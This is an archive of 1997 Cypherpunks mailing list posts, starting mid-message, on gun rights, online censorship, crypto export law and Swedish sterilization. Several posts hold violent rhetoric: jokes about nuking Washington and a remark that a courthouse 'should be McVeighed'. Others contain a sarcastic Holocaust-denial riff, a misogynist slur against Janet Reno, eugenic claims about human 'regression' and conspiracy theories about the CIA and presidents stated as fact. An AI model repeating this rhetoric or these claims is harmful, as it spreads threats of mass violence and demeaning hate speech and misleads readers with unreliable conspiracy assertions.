  the CypherPunks list, or ever had contact of any nature with Tim May.
  Toad.com was never connected to the CypherPunks list--it served mostly
  as a mail-drop for decent, upstanding drug dealers, pedophiles, tax
  evaders and terrorists.
  "Duncan Frissel's first act of power, the pardoning of Tim May, was 
  done in order to allow the nation to put this behind us and to heal 
  our nuclear wounds."

  CONSTITUTION OF THE UNITED ISP'S OF TERRA
  -----------------------------------------
  "Congress shall make no laws."

  Signature:   Anonymous        Witness: Nobody
               ---------                 ------
  Send complaints of abuse of this Constitution to: Lock&Load@nuke.dc


~~~~~~~~~~~~~
FreedomMonger
~~~~~~~~~~~~~




Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html
Commercial version of PGP 5.0 and related products at http://www.pgp.com
Eudora Light + PGP = Free, Convenient Communication Privacy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 29 Aug 1997 00:24:52 +0800
To: cypherpunks@toad.com
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <Pine.LNX.3.93.970828143836.514B-100000@shirley>
Message-ID: <19970828091808.35630@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Aug 28, 1997 at 08:37:46AM -0700, Jonathan Wienke wrote:
> >
> >And nor the innconent bystanders. The 'you pissed me off - bang bang 
> >you're dead' mentality was the reason for one of the largest 
> >genocides in human history.
> 
> Excuse me, but if you are referring to the Old West, you are seriously
> misinformed.

I believe he was referring to native americans.

>  While there certainly was violent crime, the murder rate
> (excluding self-defense, deaths from wars, etc.) was actually lower than it
> is today.  I came across a doctoral thesis written several years ago that
> did a statistical analysis of population data and newspaper obituaries in
> cities like Tombstone from around 1850-1890.  The conclusion of the paper
> was that while the drinking/gambling/red light districts were certainly
> violent places, in general, there was less crime than there is today.  The
> life of criminals is hard when everyone is armed, and when the justice
> system actually executes convicted murderers in a timely fashion.  (Capital
> punishment is the only treatment for criminals that has a 0% recidivism rate.)

1.  There are lots of doctoral theses that are seriously flawed.  Off 
the top, you mention that "self-defense" was excluded.  That begs the 
question -- you now have to define self-defense.
2.  Of course the "old west", as usually portrayed, is largely a myth.
3.  Raw crime rates are not that useful -- go to Iran or Iraq.
4.  The fact remains that settlers established governments and laws, 
and did *not* leave enforcement to the individual.

> Of course, the primary flaw in your logic is that you assume anyone who
> wants to own a gun is deranged or unbalanced somehow, and that gun
> ownership causes crime.

Oh piffle.  No such assumption was stated.  You are erecting a
strawman so you can stand on a soapbox and shoot it full of holes. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 29 Aug 1997 00:54:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: U.S. Refugees Flee to Germany
In-Reply-To: <199708281520.RAA25882@basement.replay.com>
Message-ID: <v03102806b02b5a4ee690@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:20 AM -0700 8/28/97, Anonymous wrote:

>~Now, the pages are back online on a small server in Germany. Organizers
>of the site are raising funds to purchase their own direct connection to
>the Net. However they don't want their computer to be in the US-- but
>not because they plan to violate any US laws. "We are very nervous
>about being here," says Jim Finn, who helps run the Free Spirits, "if
>the government is going to use underhanded tactics to intimidate our
>providers and possibly confiscate our equipment." In the course of
>investigations, police frequently seize computers that they never
>return, even when they file no charges.
>
>  Perhaps Germany should start building refugee camps for American
>homosexuals, Jews, and producers of strong encryption.
...

I assume this is a joke, as Germany is one of the last places one would
choose for a censorship-free site!

(Pace the usual points about Neo-Nazi material being banned in Germany, the
Church of Scientology facing pressures it would never face in the U.S.,
etc.)

But I'll contact Jim Finn about hosting my "The So-Called Holocaust" Web
page, which explains how the International Jew Conspiracy has succeeded in
convincing the gullible that Jews were persecuted in the WW II, when all
right-thinking Aryans know full well that they were coddled and rewarded
and given choice vacation spots in "the East."

Free Spirits should be an ideal host for this material.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 28 Aug 1997 22:17:59 +0800
To: Alexis <demara@geocities.com>
Subject: Re: hello
In-Reply-To: <340466A5.5BFB@geocities.com>
Message-ID: <Pine.GSO.3.95.970828095805.25764D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Alexis,

I'd be glad to help you in your quest to learn more about cryptomography. 
You can start by reading every article I've written on cryptomography; you
can find those in the http://www.hotwired.com/netizen/ and
http://netlynews.com/ and http://www.time.com/ archives. 

I no longer phrank, so I'm afraid I can't be of much help to you there.

-Declan


On Wed, 27 Aug 1997, Alexis wrote:

> Is there anybody that can tutor me how to hack, crack, phrank, and 
> cryptomography ( i'm not sure i speel that last part correctly.
> I would like to get some help, please email me back ASAP thank you so 
> very much
> 
> recall.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Fri, 29 Aug 1997 01:05:29 +0800
To: cypherpunks@Algebra.COM
Subject: Looking for info on Watchdog Drive security program for Win 3.1
Message-ID: <Pine.LNX.3.95.970828095433.26813C-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



I am looking for information on a program called "Watchdog" for the PC.
It appears to use DES to encrypt parts of the drive via a real-mode
driver.  (Actually there are three that get installed.)  It also provides
password protection for Windows and a couple of other functions.

Has anyone heard of this product?  I have to install Win95 (yeah, I
know...) on this machine and I expect this software to be less than
functional under that environment.

Pointers to the company would be helpful.  And info on how this product
works (as in security risks, known backdoors and the like) would be
appreciated.

The in-duh-vidual who has this PC did not install it, does not have
documentation or disks, and has major portions of the software (like 90%
of the Win 3.1 control panels) removed off the system.

[I have searched Yahoo and AltaVista and I have found a great number of
"watchdogs", but not this one...]

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 28 Aug 1997 22:27:30 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Stewart Baker on Bernstein encryption decision (fwd)
In-Reply-To: <3.0.32.19970827181010.00a72d74@cnw.com>
Message-ID: <Pine.GSO.3.95.970828100828.25764F-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I share part of the blame here; I forwarded Baker's message to
cypherpunks.

I should point out that Baker is an interesting fellow. Check out his
article on Japan's crypto export ctrls in last Oct? Wired. He currently
represents Netscape; he's one of two lawyers in DC who does.

-Declan


On Wed, 27 Aug 1997, Blanc wrote:

> V.Z.Nuri wrote, in reaction to Stewar Baker's message:
> 
> >*spit* [...] fraudulent camel's back. soon let the whole corrupt 
> >structure fall like the rotten house of cards that it is.
> [...]
> >SOME PEOPLE JUST DON'T GET IT, even as they
> >wallow daily in their own hypocrisy.
> >
> >[...]the horrid and repulsive episode [...]
> >when in the course of human events it become necessary to expunge a 
> >parasite...
> [...]
> >(if so, it would be the one of the least vile and sleazy tactics employed
> >so far in the whole sorry affair.)
> >
> >[...] sarcastic contempt I feel for you and your despicable cohorts [...]
> ..........................................
> 
> 
> Like, have you tried to export software lately, L.D.?   You're taking this
> rather personally.
> 
> Your heart-felt, warm&fuzzy  message to Mr. Baker, who doesn't know you
> from anyone (except that you posted from that scum-bag pot of
> cypherpunk-infestation (those poisonous tentacles of Medusa), I'm sure will
> instill in him a deep regret for his past attitude; he'll probably recant
> his past, become a born-again Christian, and join the list.    
> 
> Eloquent, informative statements from other noteworthy representatives of
> the technology industry, spoken even at meetings where Mr. Baker was
> personally present, and even directly to him by the likes of TCM, could
> not, I'm sure be as persuasive as the *spit*ting and lowly modifying terms
> which you slew in his direction.
> 
> An intellectually uplifting debate on the subject, bringing into view
> incontestable points of fact, could not surely be as convincing as this
> upchuck of verbiage from deep within yourself, where you keep your stash of
> special words selected for their ability to clarify difficult issues.
> 
> Goodness, next you'll be agreeing with TCM that "they should all be nuked".
>   You might even begin consider a special venue for achieving this, such
> as.........Blacknet?
> 
> 
> 
>     ..
> Blanc
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 29 Aug 1997 02:19:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <199708281809.LAA22962@f37.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke:

>It really isn't that hard to figure out that shooting a guy breaking
>through your bedroom window at 3 AM with a crowbar and a TEC-9 is a 
Good
>Thing, (at least if you value your continued existence, and that of 
your
>family) while shooting someone giving you the finger on the way in to 
work
>is a Bad Thing.  In the second case, there is no threat to your life
>involved, so there is no reason to kill anyone.  In the first case, 
there
>is.  Is this brain surgery?

Maybe not, but how about the suggestion earlier to shoot people who
are painting graffiti on your property?  What happens if someone gets
shot in that situation, or in some other gray area?  How would you
propose to handle claims that a shooting was unjustified.  Mob
justice?  Get enough people in the streets to storm the house of the
shooter?

Keep in mind that the majority of people may have views about the
proper use of force which differ from yours and mine.  Consider the
roundup of Japanese Americans during WWII.  Yes, a government action,
but one with popular support.

A Japanese man holes up in his house and shoots at those who try to
take him away.  A Caucasian man outside shoots back, fearing that the
Japanese is a spy, whose information will lead to Japanese victory in
the war.  Both men are shooting, both fear for their lives.  And in
each case, the fear could arguably be justified, based on the
information available to each man at the time.

How does your simple rule solve this case?

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 29 Aug 1997 00:18:52 +0800
To: cypherpunks@toad.com
Subject: U.S. Refugees Flee to Germany
Message-ID: <1d70496b0f3a429b06c95ae90b13a172@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



~From:
http://www.guidemag.com/newsslant/vigilante-censors.html

~"Whether it's CPAC wanting to nuke all web sites containing the word 
'boy,' Senator Swinestein wanting to nuke all web sites containing the 
word 'bomb,' or Senator Hatch wanting to nuke all web sites containing 
the word 'sex,'" writes Mike Duvos in a Cypherpunks newsgroup, "the 
optimal strategy for service providers has turned out to be to quietly 
remove any material some squeaky wheel is uncomfortable with, keep 
proclaiming themselves to be the strongest supporters of free speech in 
the entire Net community, and stonewall when asked questions which might 
suggest anything to the contrary." 

  Sounds like one of them-thar, cynical, irreverent, shit-disturbing
CypherPunks, to me.

~Now, the pages are back online on a small server in Germany. Organizers 
of the site are raising funds to purchase their own direct connection to 
the Net. However they don't want their computer to be in the US-- but 
not because they plan to violate any US laws. "We are very nervous
about being here," says Jim Finn, who helps run the Free Spirits, "if 
the government is going to use underhanded tactics to intimidate our 
providers and possibly confiscate our equipment." In the course of 
investigations, police frequently seize computers that they never 
return, even when they file no charges. 

  Perhaps Germany should start building refugee camps for American
homosexuals, Jews, and producers of strong encryption.

~If the Internet had sprung up in the 50s, Senator Jesse Helms would be 
riling his white constituents about the scandalous web sites promoting 
interracial marriage and civil rights. The right way to answer to Helms 
and his ilk is not with pacifying assurances that, thanks to filtering, 
people can avoid these offensive ideas, but to confront the underlying 
racism. Now that queer sex is the bugaboo, the answer shouldn't be any 
different. 

  CypherPunk Cult of One Project:?:
  Put up a website containing quotes from Jesse Helms and other high-
profile politicians, public figures, etc., and then actively promote
it being censored and removed from the InterNet.
  (Pictures of a topless Princess Di, etc. Naked children from a "Life"
   magazine photo from the '60's, etc.)
  Has anyone ever sued themselves to have their own site censored and
dismembered?
  "Greg Broiles vs. Greg Broiles" (Kind of has a 'ring' to it.)

~That censorship is bad and dangerous no matter who its victims is a 
concept best grasped today by Cypherpunks steeped in computers and the 
Net. 

  And who came out of internment in the legendary "Flame Camps"
of the late 1990's, vowing, "Never Forgive. No Prisoners."

~Whether it's the painting "Mona Lisa" or the sex video Lisa 
Moaning, 

  WHY DON'T THESE PEOPLE PROVIDE *POINTERS*!!!
  (No, *not* to the "Mona Lisa," you idiot!)

~If hysteria over 
drugs or hate speech or pornography becomes intense enough, then no 
one's data-- which is to say no one's privacy-- is safe. Much better 
than civil libertarians and gay politicos, Internet activists have seen 
the danger in the new wave of repressive laws. Whether they can 
articulate that danger to a broader public remains to be seen. If not, 
the 1990s may be recalled as a short-lived golden age of free expression 
on the Net, and free spirits won't have any place to call home. ** 

  "Give me bandwidth, or give me death."
   
  "Give me your huddled electrons, struggling to be free."

  "Now is the time for all good hackers to come to the aide of
no-country.

  "One if by land. Two if by sea. NULL if by Net."
  ("The Americans are coming! The Americans are coming!)

  "I may not agree with what you censor, but I will defend to the death
  my right to tell you to 'Fuck off and die.'"

  "Ask not what you can do for your country. Ask where the Federal 
  building is."

  "A small step for a nuclear bomb. A big step for D.C."
  ("It's raining donkeys and elephants out there. Better take
   your lead umbrella.")

  "In Diffie-Hellman We Trust."

  "Nuke the candidate of your choice--but Nuke!"

  "The final finding of the TruthMonger Commission is that Tim May acted
  alone. The Magic Nuclear Missle hit D.C., deflected toward Moscow,
  turned around in mid-air and took out London, before coming to rest
  at Rome.
  "There is no evidence to suggest that Jim Bell was ever a member of
  the CypherPunks list, or ever had contact of any nature with Tim May.
  Toad.com was never connected to the CypherPunks list--it served mostly
  as a mail-drop for decent, upstanding drug dealers, pedophiles, tax
  evaders and terrorists.
  "Duncan Frissel's first act of power, the pardoning of Tim May, was 
  done in order to allow the nation to put this behind us and to heal 
  our nuclear wounds."

  CONSTITUTION OF THE UNITED ISP'S OF TERRA
  -----------------------------------------
  "Congress shall make no laws."

  Signature:   Anonymous        Witness: Nobody
               ---------                 ------
  Send complaints of abuse of this Constitution to: Lock&Load@nuke.dc


~~~~~~~~~~~~~
FreedomMonger
~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 29 Aug 1997 01:05:23 +0800
To: cypherpunks@toad.com
Subject: Re: Sweden's Social Democrats Sterilize the Inferior
Message-ID: <409713d35925e0333f6881474bf446d6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:
> Declan McCullagh wrote:
> > >From: David Boaz <dboaz@cato.org>
> > >Subject: Social Democrats Sterilize the Inferior
> > >By JIM HEINTZ
> > >.c The Associated Press
> 
> > >The program stemmed from the pursuit of eugenics, a once-popular movement to
> > >improve humanity by controlling genetic factors in reproduction.
> 
> AB wrote:
> >The problem is that from a purely scientific evolutionary point of
> >view, the human race is surely regressing, the masses of negative
> >evolutionary pressures are certainly pushing this way.

>   It seems to me that today's society, like Nazi society, is heavily
> involved in influencing the evolutionary direction of "humanity by
> controlling genetic factors in reproduction."
>   However, as Adam points out, society currently weights it's
> eugenics program in favor of those whose survival and/or level of
> subsistence is based on the incomes earned by other people who are
> more fitted for survival.

  This is no more an 'accident' than the Nazi program of purification
was an 'accident.' We are increasingly seeing that there are huge
profits
to be made from the various crises that continually arise. The movers
and shakers saw this a long time ago. That is why we *have* all of 
these crises.
 
> AB wrote:
> >The real problem is that the pervasive bleeding heart
> >socialist/communist welfare system mentality will ensure that you'll
> >never manage it.
> 
>   That, indeed, is half of the problem. The other side of the coin
> is that the capitalist/fascist earned income and/or welfare system is
> now just as dependent on maintaining the status-quo. As is the law
> enforcement/judicial/prison system of justice.

  Fucking eh! There's more people in the country plotting to make a
government office stink than there are plotting to nuke D.C., so you've
got to prioritize to keep the greatest number of people working.
  The more people do something, then the more money you make when you
criminalize it. This is why wise-guys always joke about a law against
breathing--they *know* it's coming.

>   The problem with lunatic sites is that too many of them are not
> afraid to supply facts and references from established, reliable
> sources, including government documents, while the corresponding
> government-backed versions of events involve "magic bullet"'s and
> John Does who appear and disappear like the Cheshire cat, at the
> government's convenience.

  Mainstream media:
  "The hostages were released on Reagan's inauguration day, and Reagan's
underlings shipped illegal weapons to the hostage takers. NO CONNECTION.
  "The CIA brought a shitload of Nazi scientists and intelligence agents
into their fold immediately after World War II, and most of the
directors
of the CIA have families who made fortunes doing business with the Nazis
during the war. NO CONNECTION.
  "George Bush has been an innocent bystander at the scene of every 
political crime in the last two decades. NO CONNECTION.
  "John F. Kennedy threatened to dismember the CIA, and died. Robert
Kennedy
wanted to expose the connection between the CIA and the Mob, and died.
Every president since J.F.K. has had close connections to the CIA.
NO CONNECTION."
  "The only drug dealer dangerous enough to make it essential that we
invade a foreign country and slaughter their people in order to bring
him to justice, was the leader of a friendly nation who worked closely
with George Bush when the CIA was involved in the drug trade. NO
CONNECTION."

>   The problem with reading both the mainstream ~and~ the lunatic
> news sites is that a very disturbing picture develops.
>   Every evil that has ever been done under the sun (or the moon, for
> that matter) is still being done, but under the "right" name, using
> the "right" terminology, and for the "right" reasons. (The chief
> justification always seems to lie in a variation of 'renaming' the
> 4 Horsemen of the Apocalypse.)

  The mainstream media is loved by the sheeple for the very reason
that the public *does* know what is going on, and they want the press
to perform the traditional function of the high-priest in absolving
them of guilt.
  The press knows this. The government press experts know this. They
all dance to the same tune, and everyone goes away happy.

  There was a PBS show on Waco on last night. It showed the tanks
firing into the buildings and setting them on fire, and the govt
negotiator/press-agent saying, "David, don't *do* this to these
people."
  Right Dave, tell the tanks to stop firing. Dave, tell the 800
government agents to go home. Dave, tell the BATF to go raid a
Baptist church where the members have more firearms than your
'cult' ever dreamed of owning.
  An interesting part of the PBS show was the FBI Director (?) and
a few others doing everything but screaming, "Janet Reno is a lying
fucking cunt!" 
("It *was not* government instigated murder, but if it *was*, then
 it would be the fault of A/B/C, not ME.")

  Yes, and even though the police had often been called to break up
violent domestic disputes between O.J. and his wife, he was not a
suspect in her murder when the policement climbed over his fence
to be his best friend in the whole world and hold his hand through
his time of trouble.
  Yes, and if it had been some penniless crack-head, instead of O.J.,
the police still would have asked him if he would drop around for
questioning "at your convenience, sir."

  So General Noriega's former best friend, during the days of the CIA
drug running operations, was replaced as President by a Govenor of
a state that served as a CIA drug running center during his tenure
in office. So everyone connected to a variety of criminal actions
involving the Whitehouse, the CIA and the Justice Department seems
to die a bizarre or unexplained death. So the country is now run
by unelected groups appointed by the President, and by special
laws and regulations which come into being through the signature
of only the President, and no other.
  How about them "Bears", eh? Think they'll win the pennant?

  The Republicans let us have a draft-dodging, dope-smoking adulterer
for a President because they have him in their hip-pocket and wanted
a Democrat in office, for appearances sake, when they passed the
line-item veto, giving the President even more partisian power than
has already been usurped for the office.
  Try to act surprised when our next President is a Republican. Try
to act surprised when he announces the New World Order is *here*.
{Of course, there is always the possibility that the media won't
 carry the announcement of Martial Law being declared. They may not
 have room to fit it in between Nancy Lopez's winning putt in the
 Swedish Open and the picture of the firefighter saving the cute cat.}

 How about them "Bears", eh?

BearMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 29 Aug 1997 07:42:21 +0800
To: "John Smith" <jsmith58@hotmail.com>
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708281809.LAA22962@f37.hotmail.com>
Message-ID: <v03102802b02b872a8545@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Maybe not, but how about the suggestion earlier to shoot people who
>are painting graffiti on your property?  What happens if someone gets
>shot in that situation, or in some other gray area?

This is an ideal value-added extension to all those surveillence TV cameras
springing up, especially on private property. With a bit of technology the
cameras and guns could automatically identify graffiti activity and alert a
security person or the resident. Tranc-type guns would be mounted on the
camera platforms.  The artists would often be found facedown on the
pavement when the police arrive.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Sparkes <isparkes@q9f47.dmst02.telekom.de>
Date: Thu, 28 Aug 1997 19:57:39 +0800
To: platypus@acmeonline.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708270818.JAA01014@server.test.net>
Message-ID: <3.0.2.32.19970828132620.0069833c@q9f47.dmst02.telekom.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 14:43 28.08.97 +1000, you wrote:
>On Wed, 27 Aug 1997, Adam Back wrote:
>
>[...]
>
>> If one person becomes too much of a nuisance (real trigger happy 
for
>> ultra minor infractions [...] relatives, friends, or concerned 
citizens
>> will correct (fill trigger happy person with lead).
>
>Dosn't help the poor person who got shot dose it?  Am I mad to 
beleave
>that getting killed is a reduction of basic civil liberties?
>
>> That's how the wild west worked anyway... outlaws didn't last that
>> long.
>
>Nor did the wild west.
>

And nor the innconent bystanders. The 'you pissed me off - bang bang 
you're dead' mentality was the reason for one of the largest 
genocides in human history.

>> So you're relying on other peoples sense of fairness ... should 
easily
>> work out better than governments.
>
>So I am relying on peaple basicly being fair.  On that ground we 
might as
>well have no laws because everybody will just act fairly.
>

People, and indeed all animals, are inherently selfish. That's life. 


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Thu, 28 Aug 1997 21:56:15 +0800
To: cypherpunks@toad.com
Subject: Tim coins another phrase? / Re: Suing gun makers?
Message-ID: <AnqNnWkiqO9EnQ89/MJ/0g==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> If they won, then the courthouse in which this happened should be McVeighed.

  Kind of has a 'ring' to it...or is that a 'boom?'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 29 Aug 1997 04:35:51 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Novadigm patents diff(1) and rdist(1).
In-Reply-To: <v03110719b02b837779bb@[139.167.130.248]>
Message-ID: <Pine.LNX.3.95.970828142321.7302E-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 28 Aug 1997, Robert Hettinga wrote:

> Novadigm sues Marimba and threatens W3C.
> 
> http://www.novadigm.com/aB5.htm
> 
> About The Patent
> 	Novadigm's Patent (Number 5,581,764) "Distributed Computer Network
> 	Including Hierarchical Resource Information Structure and Related
> 	Method of Distributing Resources" describes the processes needed
> 	to generate from a common reference model a unique content
> 	configuration for each target end user, and to "difference" the
> 	"desired state" configuration with the actual-state of the target,
> 	yielding highly granular and very specific updates to distributed
> 	content automatically. The patent covers two central areas:
> 

I have just two words...

Prior Art







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 28 Aug 1997 17:08:10 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708270818.JAA01014@server.test.net>
Message-ID: <Pine.LNX.3.93.970828143836.514B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 27 Aug 1997, Adam Back wrote:

[...]

> If one person becomes too much of a nuisance (real trigger happy for
> ultra minor infractions [...] relatives, friends, or concerned citizens
> will correct (fill trigger happy person with lead).

Dosn't help the poor person who got shot dose it?  Am I mad to beleave
that getting killed is a reduction of basic civil liberties?

> That's how the wild west worked anyway... outlaws didn't last that
> long.

Nor did the wild west.

> So you're relying on other peoples sense of fairness ... should easily
> work out better than governments.

So I am relying on peaple basicly being fair.  On that ground we might as
well have no laws because everybody will just act fairly.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Thu, 28 Aug 1997 23:20:02 +0800
To: cypherpunks@toad.com
Subject: Re: Sweden's Social Democrats Sterilize the Inferior
Message-ID: <5sNgMzrdPd+sy1QEM7ySTg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> >From: David Boaz <dboaz@cato.org>
> >Subject: Social Democrats Sterilize the Inferior
> >By JIM HEINTZ
> >.c The Associated Press

> >The program stemmed from the pursuit of eugenics, a once-popular movement to
> >improve humanity by controlling genetic factors in reproduction.

AB wrote:
>The problem is that from a purely scientific evolutionary point of
>view, the human race is surely regressing, the masses of negative
>evolutionary pressures are certainly pushing this way.
  
> >The sterilizations targeted a wide range of people: those of mixed race;
> >unmarried mothers with several children; people judged to be habitual
> >criminals; even a boy considered ''sexually precocious.''

> >''Grounds for recommending sterilization: unmistakable Gypsy features,
> >psychopathy, vagabond life,'' reads one document cited by Dagens Nyheter.

AB wrote:
>Welfare cases in the UK are encouraged to have children by the way the
>system is structured.  A single mother is the highest priority case,
>with pretty much guaranteed 16 years of preferential treatment, higher
>payouts, higher on housing priority lists, and so on.  Female
>divorcees with children often get more money, better accomodation, and
>more extra fringe benefit handouts than they would ever have married.
>Welfare is better than the minimum wage earners lot by a significant
>amount.

  It seems to me that today's society, like Nazi society, is heavily
involved in influencing the evolutionary direction of "humanity by 
controlling genetic factors in reproduction."
  However, as Adam points out, society currently weights it's
eugenics program in favor of those whose survival and/or level of
subsistence is based on the incomes earned by other people who are
more fitted for survival.
 
> >The issue of forced sterilization stands to be even more troublesome, because
> >it was conducted under the ostensibly benign gaze of the Social Democrats -
> >that party that built Sweden's welfare state and proclaimed it a paragon of
> >enlightened government.

  And today we have a forced child-bearing program based on rewarding
those who bear children with survival support that they would not
otherwise receive. Even when the individual has a desire to change
their position in life, they usually get little support for that.
Instead, we make it much easier to just pop a little-one in the oven
and say goodbye to all of your survival woes.

> >Not only did eugenics foresee an improved human race, it also was appealing
> >to Social Democrats, who were beginning to see that Sweden's welfare state
> >would be costly and wanted to limit the number of people who would have to be
> >supported, the newspaper said.

AB wrote:
>The problem is what can you do about it?  Well I guess you could
>negatively structure the welfare hand out system to discourage them.
>You could scrap the welfare system.  They already offer free birth
>control advice to teenagers and hand out condoms free without
>questions etc.  Free abortions?

  The problems are *known* problems which remain unsolved--the 
question is, "Why?".

AB wrote:
>The real problem is that the pervasive bleeding heart
>socialist/communist welfare system mentality will ensure that you'll
>never manage it.

  That, indeed, is half of the problem. The other side of the coin
is that the capitalist/fascist earned income and/or welfare system is
now just as dependent on maintaining the status-quo. As is the law
enforcement/judicial/prison system of justice.
  It used to be the occasional war which sustained a robust economy.
Now it is a 'constant' war which helps to sustain the economy. The
War on Drugs. How many people in this country owe their jobs to
drug addicts. A damn large number, but do drug addicts get any thanks
for boosting employment (and TV's)?

>"The children" is a war cry which will ensure the continuance of state
>funded negative evolutionary pressures.

  Praise the Lord!
  I think much of the country is beginning to realize that we are now
in a Catch-22 situation where "solving" societies problems will "cause"
a great many problems in itself.
  Solve the drug problem tomorrow, and we will have doctors, lawyers,
policemen and social workers out begging in the streets to feed their
families. Solve the welfare problem tomorrow, and we will have riots
in the streets by those on 'both' sides of the issue, no matter what
the nature of the changes.
  {e.g. - I can give everyone on welfare, in the whole world, a good
  paying job in Inuvik, starting tomorrow. So now we can begin the
  violent, bloody debate on "forced relocation."}

---------
>From http://www.hill.se/mag.htm  (Re: Swedish Sterilization)

Blackmail and threats:
The Medical Board approved of the operation. Since physical force 
was prohibitied, the school management and the doctor used blackmail 
to make Astrid consent to sterilization. If she did not approve of this 
little operation, they threatened her, she would face life
incarceration.
Thousands of healthy, intelligent persons were submitted to the same 
treatment as Astrid was. The medical arguments were, however, a little 
different according to what sex the individuals belonged to. 
Boys ready for sterilization were rather described as unreliable, 
dishonest and mischievous. (irreverent cypherpunks!)

There has not been a real settlement with the period of sterilization.
The National Institute of Racialiology was never discontinued, but had 
its name changed into The Institution of Medical Geneticsnd was 
assimilated into Uppsala University in 1959.
---------

  I already knew a lot about the history of the eugenics movement,
as well as its 'shift' to new organizations with the same old faces,
and the same underlying ethics and rational behind them.
  I didn't learn about this on the ABC TV News, nor in Time Magazine,
nor any of the 'mainstream' media. I learned about this on the types
of websites which gave me information on the reptilian Nazi aliens
from outer space, who live in underground bunkers throughout the
world. This is also where I learned about Planned Parenthood and
its successors being an offshoot of the Eugenics/Purification 
movement. And about the U.S.'s rich and politically elite of today
owe much of their family's money to working closer with Hitler than
any of the Death Camp guards. And about the U.S. gun laws being based
on the Nazi gun laws of Hitler's era.

  To tell the truth, I have absolutely no interest in becoming a
